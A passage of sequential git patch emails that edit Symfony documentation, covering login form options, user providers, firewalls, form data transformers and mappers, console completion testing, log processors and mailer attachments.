+This is the name of the password field of your
 login form. When you submit the form to ``check_path``, the security system
 will look for a POST parameter with this name.
 
@@ -385,7 +385,7 @@ post_only
 
 By default, you must submit your login form to the ``check_path`` URL as
 a POST request. By setting this option to ``false``, you can send a GET
-request to the ``check_path`` URL.
+request too.
 
 **Options Related to Redirecting after Login**
 

From e2ef815754a01468e8642c41b99453c9a76338bc Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 12 Nov 2022 20:16:27 +0100
Subject: [PATCH 2512/5766] Minor

Removing "starting"
---
 form/data_transformers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 4204b77cf23..e91a190a30f 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -8,8 +8,8 @@ Data transformers are used to translate the data for a field into a format that
 be displayed in a form (and back on submit). They're already used internally for
 many field types. For example, the :doc:`DateType </reference/forms/types/date>` field
 can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data transformer
-converts the starting ``DateTime`` value of the field into the ``yyyy-MM-dd`` string
-to render the form, and then back into a ``DateTime`` object on submit.
+converts the ``DateTime`` value of the field to the ``yyyy-MM-dd`` string
+to render the form, and then back to a ``DateTime`` object on submit.
 
 .. caution::
 

From 59b3037c476dd6c45c2f972265f00cab322f3385 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 12 Nov 2022 20:47:30 +0100
Subject: [PATCH 2513/5766] Merging two (almost identical) paragraphs

The only new aspect is that Transformer is only for only one field, whereas Mapper is for one or more.
---
 form/data_mappers.rst | 12 +++++-------
 1 file changed, 5 insertions(+), 7 deletions(-)

diff --git a/form/data_mappers.rst b/form/data_mappers.rst
index 24ff0716f5f..6d322e3e043 100644
--- a/form/data_mappers.rst
+++ b/form/data_mappers.rst
@@ -19,13 +19,11 @@ The Difference between Data Transformers and Mappers
 It is important to know the difference between
 :doc:`data transformers </form/data_transformers>` and mappers.
 
-* **Data transformers** change the representation of a value (e.g. from
-  ``"2016-08-12"`` to a ``DateTime`` instance);
-* **Data mappers** map data (e.g. an object or array) to form fields, and vice versa.
-
-Changing a ``YYYY-mm-dd`` string value to a ``DateTime`` instance is done by a
-data transformer. Populating inner fields (e.g year, hour, etc) of a compound date type using
-a ``DateTime`` instance is done by the data mapper.
+* **Data transformers** change the representation of a single value, e.g. from
+  ``"2016-08-12"`` to a ``DateTime`` instance;
+* **Data mappers** map data (e.g. an object or array) to one or many form fields, and vice versa,
+  e.g. using a single ``DateTime`` instance to populate the inner fields (e.g year, hour, etc.)
+  of a compound date type.
 
 Creating a Data Mapper
 ----------------------

From 1d281f9d52689d231cb6f6bed39b76d7f2a2cf8e Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 17 Nov 2022 23:40:04 +0100
Subject: [PATCH 2514/5766] [Validator] File: fix versionadded of
 extensionsMessage option

---
 reference/constraints/File.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index 674056ee0c8..f407942a53d 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -275,7 +275,7 @@ You can find a list of existing mime types on the `IANA website`_.
 
 .. versionadded:: 6.2
 
-    The ``extensionsMessage`` option was introduced in Symfony 6.3.
+    The ``extensionsMessage`` option was introduced in Symfony 6.2.
 
 The message displayed if the extension of the file is not a valid extension
 per the `extensions`_ option.

From 4559b9cd2d4b9a6df618c0656e647f30321fb04d Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sat, 12 Nov 2022 11:24:37 +0100
Subject: [PATCH 2515/5766] [Security] Add form_only option

---
 reference/configuration/security.rst | 13 +++++++++++++
 1 file changed, 13 insertions(+)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index dda2c08e8e7..26081fa63bf 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -352,6 +352,19 @@ failure_path
 This is the route or path that the user is redirected to after a failed login attempt.
 It can be a relative/absolute URL or a Symfony route name.
 
+form_only
+............
+
+**type**: ``boolean`` **default**: ``false``
+
+By setting this option to ``true``, a content type check will be performed when the login form is submitted
+(i.e. the login form will be processed if it is the form data, so with a
+content type ``application/x-www-form-urlencoded``.
+
+.. versionadded:: 5.4
+
+    The ``form_only`` option was introduced in Symfony 5.4.
+
 use_forward
 ...........
 

From ef5d786f620ae7d0b3273d6919d44ac638b337d0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Nov 2022 16:41:26 +0100
Subject: [PATCH 2516/5766] Reword

---
 reference/configuration/security.rst | 10 ++++++----
 security.rst                         |  2 ++
 2 files changed, 8 insertions(+), 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 9e885853c96..fa3258bbb23 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -353,13 +353,15 @@ This is the route or path that the user is redirected to after a failed login at
 It can be a relative/absolute URL or a Symfony route name.
 
 form_only
-............
+.........
 
 **type**: ``boolean`` **default**: ``false``
 
-By setting this option to ``true``, a content type check will be performed when the login form is submitted
-(i.e. the login form will be processed if it is the form data, so with a
-content type ``application/x-www-form-urlencoded``.
+Set this option to ``true`` to require that the login data is sent using a form
+(it checks that the request content-type is ``application/x-www-form-urlencoded``).
+This is useful for example to prevent the :ref:`form login authenticator <security-form-login>`
+from responding to requests that should be handled by the
+:ref:`JSON login authenticator <security-json-login>`.
 
 .. versionadded:: 5.4
 
diff --git a/security.rst b/security.rst
index 583f5e19f9a..845b86c3039 100644
--- a/security.rst
+++ b/security.rst
@@ -957,6 +957,8 @@ After this, you have protected your login form against CSRF attacks.
     the token ID by setting  ``csrf_token_id`` in your configuration. See
     :ref:`reference-security-firewall-form-login` for more details.
 
+.. _security-json-login:
+
 JSON Login
 ~~~~~~~~~~
 

From bed2ec831d23a5713a9c531f41b502984d482ba1 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 11 Nov 2022 15:50:36 +0100
Subject: [PATCH 2517/5766] [Security] Minor rewording

---
 security.rst            |  6 +++---
 security/form_login.rst | 26 +++++++++++++-------------
 2 files changed, 16 insertions(+), 16 deletions(-)

diff --git a/security.rst b/security.rst
index fd774597406..492fcd08d04 100644
--- a/security.rst
+++ b/security.rst
@@ -768,13 +768,13 @@ Finally, create or update the template:
 
         <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
-            <input type="text" id="username" name="_username" value="{{ last_username }}"/>
+            <input type="text" id="username" name="_username" value="{{ last_username }}">
 
             <label for="password">Password:</label>
-            <input type="password" id="password" name="_password"/>
+            <input type="password" id="password" name="_password">
 
             {# If you want to control the URL the user is redirected to on success
-            <input type="hidden" name="_target_path" value="/account"/> #}
+            <input type="hidden" name="_target_path" value="/account"> #}
 
             <button type="submit">login</button>
         </form>
diff --git a/security/form_login.rst b/security/form_login.rst
index 5bae5c6e62b..85d8a150a8f 100644
--- a/security/form_login.rst
+++ b/security/form_login.rst
@@ -142,26 +142,26 @@ previously requested URL and always redirect to the default page:
 Control the Redirect Using Request Parameters
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The URL to redirect after the login can be defined using the ``_target_path``
-parameter of GET and POST requests. Its value must be a relative or absolute
+The URL to redirect to after the login can be dynamically defined using the ``_target_path``
+parameter of the GET or POST request. Its value must be a relative or absolute
 URL, not a Symfony route name.
 
-Defining the redirect URL via GET using a query string parameter:
+For GET, use a query string parameter:
 
 .. code-block:: text
 
     http://example.com/some/path?_target_path=/dashboard
 
-Defining the redirect URL via POST using a hidden form field:
+For POST, use a hidden form field:
 
 .. code-block:: html+twig
 
-    {# templates/security/login.html.twig #}
-    <form action="{{ path('login') }}" method="post">
+    {# templates/login/index.html.twig #}
+    <form action="{{ path('app_login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="_target_path" value="{{ path('account') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="_target_path" value="{{ path('account') }}">
+        <input type="submit" name="login">
     </form>
 
 Using the Referring URL
@@ -304,8 +304,8 @@ This option can also be set via the ``_failure_path`` request parameter:
     <form action="{{ path('login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="_failure_path" value="{{ path('forgot_password') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="_failure_path" value="{{ path('forgot_password') }}">
+        <input type="submit" name="login">
     </form>
 
 Customizing the Target and Failure Request Parameters
@@ -383,7 +383,7 @@ are now fully customized:
     <form action="{{ path('login') }}" method="post">
         {# ... #}
 
-        <input type="hidden" name="go_to" value="{{ path('dashboard') }}"/>
-        <input type="hidden" name="back_to" value="{{ path('forgot_password') }}"/>
-        <input type="submit" name="login"/>
+        <input type="hidden" name="go_to" value="{{ path('dashboard') }}">
+        <input type="hidden" name="back_to" value="{{ path('forgot_password') }}">
+        <input type="submit" name="login">
     </form>

From dfc2982e1712f8b653bf426628a08c24819a845e Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 18 Nov 2022 18:06:29 +0100
Subject: [PATCH 2518/5766] Minor reword

---
 form/data_transformers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index e91a190a30f..cf32ca134a0 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -8,8 +8,8 @@ Data transformers are used to translate the data for a field into a format that
 be displayed in a form (and back on submit). They're already used internally for
 many field types. For example, the :doc:`DateType </reference/forms/types/date>` field
 can be rendered as a ``yyyy-MM-dd``-formatted input text box. Internally, a data transformer
-converts the ``DateTime`` value of the field to the ``yyyy-MM-dd`` string
-to render the form, and then back to a ``DateTime`` object on submit.
+converts the ``DateTime`` value of the field to a ``yyyy-MM-dd`` formatted string
+when rendering the form, and then back to a ``DateTime`` object on submit.
 
 .. caution::
 

From 97c38f38f9f0ea77ab9ae41473e78068917abe74 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Fri, 18 Nov 2022 18:42:23 +0100
Subject: [PATCH 2519/5766] Merging "list" into text

Reason: "a few guidelines" sounded odd, cause the first was no guideline (but a rule), and the second was still no guideline (but more details to first).
---
 security.rst | 9 +++------
 1 file changed, 3 insertions(+), 6 deletions(-)

diff --git a/security.rst b/security.rst
index 845b86c3039..ae413392a74 100644
--- a/security.rst
+++ b/security.rst
@@ -1934,12 +1934,9 @@ database and every user is *always* given at least one role: ``ROLE_USER``::
     }
 
 This is a nice default, but you can do *whatever* you want to determine which roles
-a user should have. Here are a few guidelines:
-
-* Every role **must start with** ``ROLE_`` (otherwise, things won't work as expected)
-
-* Other than the above rule, a role is just a string and you can invent what you
-  need (e.g. ``ROLE_PRODUCT_ADMIN``).
+a user should have. The only rule is that every role **must start with** ``ROLE_`` -
+otherwise, things won't work as expected. Other than that, a role is just a string
+and you can invent whatever you need (e.g. ``ROLE_PRODUCT_ADMIN``).
 
 You'll use these roles next to grant access to specific sections of your site.
 

From d23bba2b6997cc0fbc0ad80d8bdb9de99d32aa01 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 19 Nov 2022 17:54:18 +0100
Subject: [PATCH 2520/5766] Adding more info about chain provider

Reason: The info that this is the way to go if you need *multiple* providers was lost somehow since v4.4: https://symfony.com/doc/4.0/security/multiple_user_providers.html
The wording is mostly taken from there.
---
 security.rst | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/security.rst b/security.rst
index 845b86c3039..6880411c874 100644
--- a/security.rst
+++ b/security.rst
@@ -351,6 +351,8 @@ Symfony comes with several built-in user providers:
     Loads users from a configuration file;
 :ref:`Chain User Provider <security-chain-user-provider>`
     Merges two or more user providers into a new user provider.
+    Since each firewall has exactly *one* user provider, you can use this
+    to chain multiple providers together.
 
 The built-in user providers cover the most common needs for applications, but you
 can also create your own :ref:`custom user provider <security-custom-user-provider>`.

From e9e5086d904a318aa78160dfc3d0953a6fa02f11 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 19 Nov 2022 17:58:23 +0100
Subject: [PATCH 2521/5766] Minor deletion

Reason: The other providers don't have to be of different types (or do they?)
---
 security/user_providers.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/security/user_providers.rst b/security/user_providers.rst
index 0e202283a83..57c50149bc0 100644
--- a/security/user_providers.rst
+++ b/security/user_providers.rst
@@ -240,8 +240,8 @@ After setting up hashing, you can configure all the user information in
 Chain User Provider
 -------------------
 
-This user provider combines two or more of the other provider types (e.g.
-``entity`` and ``ldap``) to create a new user provider. The order in which
+This user provider combines two or more of the other providers
+to create a new user provider. The order in which
 providers are configured is important because Symfony will look for users
 starting from the first provider and will keep looking for in the other
 providers until the user is found:

From 06c08093c40f4fdfe3b1a05824bbbfb8c6424f32 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 19 Nov 2022 18:25:56 +0100
Subject: [PATCH 2522/5766] Adding info about when the firewall needs to
 encompass all pages

---
 security.rst | 15 ++++++++++-----
 1 file changed, 10 insertions(+), 5 deletions(-)

diff --git a/security.rst b/security.rst
index 845b86c3039..21247c146fc 100644
--- a/security.rst
+++ b/security.rst
@@ -588,15 +588,13 @@ will be able to authenticate (e.g. login form, API token, etc).
 Only one firewall is active on each request: Symfony uses the ``pattern`` key
 to find the first match (you can also
 :doc:`match by host or other things </security/firewall_restriction>`).
+Here, all "real" URLs are handled by the ``main`` firewall (no ``pattern`` key means
+it matches *all* URLs). 
 
 The ``dev`` firewall is really a fake firewall: it makes sure that you
 don't accidentally block Symfony's dev tools - which live under URLs like
 ``/_profiler`` and ``/_wdt``.
 
-All *real* URLs are handled by the ``main`` firewall (no ``pattern`` key means
-it matches *all* URLs). A firewall can have many modes of authentication,
-in other words, it enables many ways to ask the question "Who are you?".
-
 Often, the user is unknown (i.e. not logged in) when they first visit your
 website. If you visit your homepage right now, you *will* have access and
 you'll see that you're visiting a page behind the firewall in the toolbar:
@@ -606,7 +604,14 @@ you'll see that you're visiting a page behind the firewall in the toolbar:
 
 Visiting a URL under a firewall doesn't necessarily require you to be authenticated
 (e.g. the login form has to be accessible or some parts of your application
-are public). You'll learn how to restrict access to URLs, controllers or
+are public). On the other hand, all pages that you want to be *aware* of a logged in
+user have to be under the same firewall. So if you want to display a "You are logged in
+as ..." message on every page, they all have to be included in the same firewall.
+
+The same firewall can have many modes of authentication,
+in other words, it enables many ways to ask the question "Who are you?".
+
+You'll learn how to restrict access to URLs, controllers or
 anything else within your firewall in the :ref:`access control
 <security-access-control>` section.
 

From 58e6ec27df67abe6e8a8be85fdd17b541cfa72c5 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 19 Nov 2022 18:58:12 +0100
Subject: [PATCH 2523/5766] clean up 5.4 versionadded directive

---
 reference/configuration/security.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 40aaf5ce826..fbf31177cbf 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -343,10 +343,6 @@ This is useful for example to prevent the :ref:`form login authenticator <securi
 from responding to requests that should be handled by the
 :ref:`JSON login authenticator <security-json-login>`.
 
-.. versionadded:: 5.4
-
-    The ``form_only`` option was introduced in Symfony 5.4.
-
 use_forward
 ...........
 

From 9f1239962d981c21c59fc30b451c4e0fdfab0259 Mon Sep 17 00:00:00 2001
From: Moshe Weitzman <weitzman@tejasa.com>
Date: Sat, 19 Nov 2022 13:49:36 -0500
Subject: [PATCH 2524/5766] Fix incorrect example for CommandCompletionTester

---
 console/input.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/console/input.rst b/console/input.rst
index 817a2cc67fe..69304b7551a 100644
--- a/console/input.rst
+++ b/console/input.rst
@@ -397,8 +397,10 @@ to help you unit test the completion logic::
             $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions);
 
             // complete the input with "Fa" as input
+            // note that the list does not reduce because the completion tester doesn't run any shell, 
+            // it only tests the PHP part of the completion logic, so it should always include all values
             $suggestions = $tester->complete(['Fa']);
-            $this->assertSame(['Fabien', 'Fabrice'], $suggestions);
+            $this->assertSame(['Fabien', 'Fabrice', 'Wouter'], $suggestions);
         }
     }
 

From f69c9b54cb6ece5849767c3578699016a4ac333e Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Sun, 20 Nov 2022 11:56:51 +0100
Subject: [PATCH 2525/5766] Remove old `versionadded` directive

---
 reference/configuration/security.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 40aaf5ce826..fbf31177cbf 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -343,10 +343,6 @@ This is useful for example to prevent the :ref:`form login authenticator <securi
 from responding to requests that should be handled by the
 :ref:`JSON login authenticator <security-json-login>`.
 
-.. versionadded:: 5.4
-
-    The ``form_only`` option was introduced in Symfony 5.4.
-
 use_forward
 ...........
 

From fbae2e4796b929f7148f25c4cc635c2f8efe87f3 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?F=C3=A9lix=20Fouillet?=
 <35224226+ffouillet@users.noreply.github.com>
Date: Sun, 20 Nov 2022 09:29:32 +0100
Subject: [PATCH 2526/5766] Update security.rst

Removed an useless comma
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 845b86c3039..22175632b0d 100644
--- a/security.rst
+++ b/security.rst
@@ -226,7 +226,7 @@ from the `MakerBundle`_:
         }
 
         /**
-         * Returning a salt is only needed, if you are not using a modern
+         * Returning a salt is only needed if you are not using a modern
          * hashing algorithm (e.g. bcrypt or sodium) in your security.yaml.
          *
          * @see UserInterface

From 620e6b428c228e2808d6672e982e01dbab242e41 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?F=C3=A9lix=20Fouillet?=
 <35224226+ffouillet@users.noreply.github.com>
Date: Sat, 19 Nov 2022 17:35:56 +0100
Subject: [PATCH 2527/5766] Update custom_constraint.rst

Replace Annotation in custom constraint declaration by #[Attribute] which is more up to date
---
 validation/custom_constraint.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/validation/custom_constraint.rst b/validation/custom_constraint.rst
index 1d95b64c822..f193535900c 100644
--- a/validation/custom_constraint.rst
+++ b/validation/custom_constraint.rst
@@ -214,9 +214,7 @@ email. First, create a constraint and override the ``getTargets()`` method::
 
     use Symfony\Component\Validator\Constraint;
 
-    /**
-     * @Annotation
-     */
+    #[\Attribute]
     class ConfirmedPaymentReceipt extends Constraint
     {
         public string $userDoesNotMatchMessage = 'User\'s e-mail address does not match that of the receipt';

From 728d75baa5ff8e2e30c0bbb8085de45c2a40887a Mon Sep 17 00:00:00 2001
From: Maxime Doutreluingne <maxime.doutreluingne@gmail.com>
Date: Sun, 21 Aug 2022 15:16:10 +0200
Subject: [PATCH 2528/5766] Deprecate not configuring explicitly a provider for
 custom_authenticators when there is more than one registered provider

---
 components/console/helpers/questionhelper.rst | 24 +++++++++----------
 security/custom_authenticator.rst             |  8 ++++++-
 2 files changed, 19 insertions(+), 13 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 863120dd52f..d3e7498049b 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -88,7 +88,7 @@ if you want to know a bundle name, you can add this to your command::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 The user will be asked "Please enter the name of the bundle". They can type
@@ -124,7 +124,7 @@ from a predefined list::
 
         // ... do something with the color
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. versionadded:: 5.2
@@ -166,7 +166,7 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
         $colors = $helper->ask($input, $output, $question);
         $output->writeln('You have just selected: ' . implode(', ', $colors));
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Now, when the user enters ``1,2``, the result will be:
@@ -197,7 +197,7 @@ will be autocompleted as the user types::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 In more complex use cases, it may be necessary to generate suggestions on the
@@ -236,7 +236,7 @@ provide a callback function to dynamically generate suggestions::
         
         // ... do something with the filePath
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Do not Trim the Answer
@@ -260,7 +260,7 @@ You can also specify if you want to not trim the answer by setting it directly w
         
         // ... do something with the name
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Accept Multiline Answers
@@ -291,7 +291,7 @@ the response to a question should allow multiline answers by passing ``true`` to
         
         // ... do something with the answer
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Multiline questions stop reading user input after receiving an end-of-transmission
@@ -319,7 +319,7 @@ convenient for passwords::
         
         // ... do something with the password
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. caution::
@@ -351,7 +351,7 @@ convenient for passwords::
 
             // ...
             
-            return Commande::SUCCESS;
+            return Command::SUCCESS;
         }
 
 Normalizing the Answer
@@ -382,7 +382,7 @@ method::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 .. caution::
@@ -426,7 +426,7 @@ method::
         
         // ... do something with the bundleName
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 The ``$validator`` is a callback which handles the validation. It should
@@ -488,7 +488,7 @@ You can also use a validator with a hidden question::
         
         // ... do something with the password
         
-        return Commande::SUCCESS;
+        return Command::SUCCESS;
     }
 
 Testing a Command that Expects Input
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 54861858baa..8dbeeaf287a 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -130,6 +130,12 @@ The authenticator can be enabled using the ``custom_authenticators`` setting:
             ;
         };
 
+.. deprecated:: 5.4
+
+    If you have registered multiple user providers, you must set the
+    ``provider`` key to one of the configured providers, even if your
+    custom authenticators don't use it. Not doing so is deprecated in Symfony 5.4.
+
 .. versionadded:: 5.2
 
     Starting with Symfony 5.2, the custom authenticator is automatically
@@ -185,7 +191,7 @@ can define what happens in these cases:
     If your login method is interactive, which means that the user actively
     logged into your application, you may want your authenticator to implement the
     :class:`Symfony\\Component\\Security\\Http\\Authenticator\\InteractiveAuthenticatorInterface`
-    so that it dispatches an 
+    so that it dispatches an
     :class:`Symfony\\Component\\Security\\Http\\Event\\InteractiveLoginEvent`
 
 .. _security-passport:

From 1fb6ad0fc5a7e63fc75f249b82fd951f46c892df Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?F=C3=A9lix=20Fouillet?=
 <35224226+ffouillet@users.noreply.github.com>
Date: Sun, 20 Nov 2022 16:11:36 +0100
Subject: [PATCH 2529/5766] Update security.rst

Propose attribute usage instead of annotations, this stick more to the example.
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 891032aff2d..0bd944121eb 100644
--- a/security.rst
+++ b/security.rst
@@ -2148,7 +2148,7 @@ will happen:
 .. _security-securing-controller-annotations:
 
 Thanks to the SensioFrameworkExtraBundle, you can also secure your controller
-using annotations:
+using attributes:
 
 .. configuration-block::
 

From 4351c89192b518f6da538b1b24050624ec7992e8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Th=C3=A9o=20FIDRY?=
 <5175937+theofidry@users.noreply.github.com>
Date: Mon, 21 Nov 2022 16:00:47 +0100
Subject: [PATCH 2530/5766] Fix bad copy/paste

---
 controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller.rst b/controller.rst
index e04bfd7a43d..092f032f055 100644
--- a/controller.rst
+++ b/controller.rst
@@ -381,7 +381,7 @@ object. To access it in your controller, add it as an argument and
     use Symfony\Component\HttpFoundation\Response;
     // ...
 
-    public function index(Request $request, string $firstName, string $lastName): Response
+    public function index(Request $request): Response
     {
         $page = $request->query->get('page', 1);
 

From 155bbf49c55f3da83ea8176986e12eb1252f2a4f Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 21 Nov 2022 17:46:48 +0100
Subject: [PATCH 2531/5766] Minor tweak

---
 security.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/security.rst b/security.rst
index 02c2e8879fa..c2066816dee 100644
--- a/security.rst
+++ b/security.rst
@@ -1934,9 +1934,9 @@ database and every user is *always* given at least one role: ``ROLE_USER``::
     }
 
 This is a nice default, but you can do *whatever* you want to determine which roles
-a user should have. The only rule is that every role **must start with** ``ROLE_`` -
-otherwise, things won't work as expected. Other than that, a role is just a string
-and you can invent whatever you need (e.g. ``ROLE_PRODUCT_ADMIN``).
+a user should have. The only rule is that every role **must start with** the
+``ROLE_`` prefix - otherwise, things won't work as expected. Other than that,
+a role is just a string and you can invent whatever you need (e.g. ``ROLE_PRODUCT_ADMIN``).
 
 You'll use these roles next to grant access to specific sections of your site.
 

From dfbf11a389b8a7bd5fbde0d2edc4306c8a2f789d Mon Sep 17 00:00:00 2001
From: Chris Taylor <chris@christaylordeveloper.co.uk>
Date: Mon, 21 Nov 2022 08:58:58 +0100
Subject: [PATCH 2532/5766] Emphasise where a method is returning a value.

---
 testing.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/testing.rst b/testing.rst
index 778c2cb0dd0..a092a7b5bfa 100644
--- a/testing.rst
+++ b/testing.rst
@@ -247,7 +247,7 @@ Retrieving Services in the Test
 
 In your integration tests, you often need to fetch the service from the
 service container to call a specific method. After booting the kernel,
-the container is stored in ``static::getContainer()``::
+the container is returned by ``static::getContainer()``::
 
     // tests/Service/NewsletterGeneratorTest.php
     namespace App\Tests\Service;
@@ -273,7 +273,7 @@ the container is stored in ``static::getContainer()``::
         }
     }
 
-The container in ``static::getContainer()`` is actually a special test container.
+The container from ``static::getContainer()`` is actually a special test container.
 It gives you access to both the public services and the non-removed
 :ref:`private services <container-public>`.
 

From 3b4ebc0e5c6ef87ecafac980fe73aab5538a526d Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Tue, 22 Nov 2022 09:59:37 +0100
Subject: [PATCH 2533/5766] Update processors.rst

---
 logging/processors.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/logging/processors.rst b/logging/processors.rst
index 99a6bb2c069..b07783e72d8 100644
--- a/logging/processors.rst
+++ b/logging/processors.rst
@@ -32,7 +32,7 @@ using a processor::
         }
 
         // this method is called for each log record; optimize it to not hurt performance
-        public function __invoke(array $record)
+        public function __invoke(LogRecord $record): LogRecord
         {
             try {
                 $session = $this->requestStack->getSession();
@@ -45,7 +45,7 @@ using a processor::
 
             $sessionId = substr($session->getId(), 0, 8) ?: '????????';
 
-            $record['extra']['token'] = $sessionId.'-'.substr(uniqid('', true), -8);
+            $record->extra['token'] = $sessionId.'-'.substr(uniqid('', true), -8);
 
             return $record;
         }

From 47a8c038831075d1e353fe0fee0f2b0f00badbfb Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Nov 2022 13:26:05 +0100
Subject: [PATCH 2534/5766] [Mailer] Fix minor syntax issue

---
 mailer.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index de7c6ee8e30..cc0176a2f09 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -328,8 +328,9 @@ header, etc.) but most of the times you'll set text headers::
 
             // use an array if you want to add a header with multiple values
             // (for example in the "References" or "In-Reply-To" header)
-            ->addIdHeader('References', ['123@example.com', '456@example.com']);
-        // ...
+            ->addIdHeader('References', ['123@example.com', '456@example.com'])
+
+            // ...
     ;
 
 Message Contents

From 17c0fe1955ca27a30599df425e9279a08db45040 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 22 Nov 2022 13:29:30 +0100
Subject: [PATCH 2535/5766] [Mailer] Fix some usages of DataPart and File

---
 mailer.rst | 14 +++++++++-----
 1 file changed, 9 insertions(+), 5 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index c15f2833083..dfcdf6b5094 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -448,13 +448,17 @@ File Attachments
 
 Use the ``addPart()`` method with a ``BodyFile`` to add files that exist on your file system::
 
+    use Symfony\Component\Mime\Part\DataPart;
+    use Symfony\Component\Mime\Part\File;
+    // ...
+
     $email = (new Email())
         // ...
-        ->addPart(new DataPart(new BodyFile('/path/to/documents/terms-of-use.pdf')))
+        ->addPart(new DataPart(new File('/path/to/documents/terms-of-use.pdf')))
         // optionally you can tell email clients to display a custom name for the file
-        ->addPart(new DataPart(new BodyFile('/path/to/documents/privacy.pdf', 'Privacy Policy')))
+        ->addPart(new DataPart(new File('/path/to/documents/privacy.pdf'), 'Privacy Policy'))
         // optionally you can provide an explicit MIME type (otherwise it's guessed)
